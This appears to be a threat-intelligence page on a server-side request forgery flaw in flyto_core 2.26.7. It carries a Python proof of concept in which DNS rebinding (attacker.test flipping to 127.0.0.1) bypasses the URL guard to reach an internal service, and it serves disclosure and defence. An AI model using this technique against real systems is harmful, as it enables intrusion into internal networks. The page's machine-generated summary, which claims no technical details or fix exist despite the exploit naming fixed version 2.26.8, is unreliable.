flyto_core 2.26.7 - Server-Side Request Forgery
flyto_core 2.26.7 - Server-Side Request Forgery
AI Analysis
Technical Summary
The flyto_core software up to and including version 2.26.7 contains a Server-Side Request Forgery vulnerability. SSRF vulnerabilities occur when an attacker can manipulate server-side requests, potentially allowing them to access or interact with internal systems or services that are not directly exposed. No detailed technical information or exploitation methods are provided in the source data.
Potential Impact
An attacker exploiting this SSRF vulnerability could cause the affected server to send crafted requests to internal or external systems, potentially leading to unauthorized access or information disclosure depending on the server's network environment and configuration. There is no evidence of active exploitation in the wild at this time.
Mitigation Recommendations
No patch or official fix information is provided in the available data. Users should monitor the vendor's advisories for updates and apply any official patches once available. Until then, consider restricting server-side request capabilities or implementing input validation to limit SSRF attack vectors.
Indicators of Compromise
- exploit-code: # Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/flytohub/flyto-core # Software Link: https://github.com/flytohub/flyto-core # Version: flyto-core <= 2.26.7 (fixed 2.26.8) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core validate_url_ssrf() validates a resolved IP but the client re-resolves and connects without pinning; a TTL=0 rebind reaches internal targets. Advisory: GHSA-6pm8-6f34-9v3g. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc_dns_rebinding.py) --- """PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin). Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo flips public->private across successive lookups exactly as an attacker TTL=0 DNS does. The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the sentinel (private) -> internal reach that the guard was supposed to block.""" import os, sys, socket, threading, time sys.path.insert(0, os.path.join(os.getcwd(), "src")) from core.utils import validate_url_ssrf, SSRFError # 1) internal "service" sentinel: raw TCP listener on loopback srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) import errno for _p in (8080, 8443): try: srv.bind(("127.0.0.1", _p)); break except OSError: continue else: raise SystemExit("no allowed port free") srv.listen(1) PORT = srv.getsockname()[1] hit = {"internal": False} def accept_once(): try: c,_ = srv.accept(); hit["internal"] = True; c.close() except OSError: pass threading.Thread(target=accept_once, daemon=True).start() HOST = "rebind.attacker.test" PUBLIC = "93.184.216.34" # example.com, public -> guard must ALLOW # 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1 _real = socket.getaddrinfo calls = {"n": 0} def flipping_getaddrinfo(host, port, *a, **k): if host == HOST: calls["n"] += 1 ip = PUBLIC if calls["n"] == 1 else "127.0.0.1" return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))] return _real(host, port, *a, **k) socket.getaddrinfo = flipping_getaddrinfo # 3) GUARD runs (resolves #1 = public) -> should PASS try: validate_url_ssrf(f" http://{HOST}:{PORT}/ ") print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/ (saw public {PUBLIC} on resolution #1)") except SSRFError as e: print("[guard] blocked (rebinding not effective):", e); sys.exit(0) # 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel try: s = socket.create_connection((HOST, PORT), timeout=3); s.close() except OSError as e: print("[connect] error:", e) time.sleep(0.2) socket.getaddrinfo = _real print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}") print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)" if hit["internal"] else "NOT CONFIRMED") srv.close()
flyto_core 2.26.7 - Server-Side Request Forgery
Description
flyto_core 2.26.7 - Server-Side Request Forgery
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The flyto_core software up to and including version 2.26.7 contains a Server-Side Request Forgery vulnerability. SSRF vulnerabilities occur when an attacker can manipulate server-side requests, potentially allowing them to access or interact with internal systems or services that are not directly exposed. No detailed technical information or exploitation methods are provided in the source data.
Potential Impact
An attacker exploiting this SSRF vulnerability could cause the affected server to send crafted requests to internal or external systems, potentially leading to unauthorized access or information disclosure depending on the server's network environment and configuration. There is no evidence of active exploitation in the wild at this time.
Mitigation Recommendations
No patch or official fix information is provided in the available data. Users should monitor the vendor's advisories for updates and apply any official patches once available. Until then, consider restricting server-side request capabilities or implementing input validation to limit SSRF attack vectors.
Technical Details
- Version
- flyto-core <= 2.26.7
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52651
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for flyto_core 2.26.7 - Server-Side Request Forgery
# Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/flytohub/flyto-core # Software Link: https://github.com/flytohub/flyto-core # Version: flyto-core <= 2.26.7 (fixed 2.26.8) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core validate_url_ssrf() validat... (3051 more characters)
Threat ID: 6a838813bf8831d539a900ac
Added to database: 08/17/2026, 22:15:47 UTC
Last enriched: 09/30/2026, 21:04:48 UTC
Last updated: 10/01/2026, 21:29:23 UTC
Views: 48
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.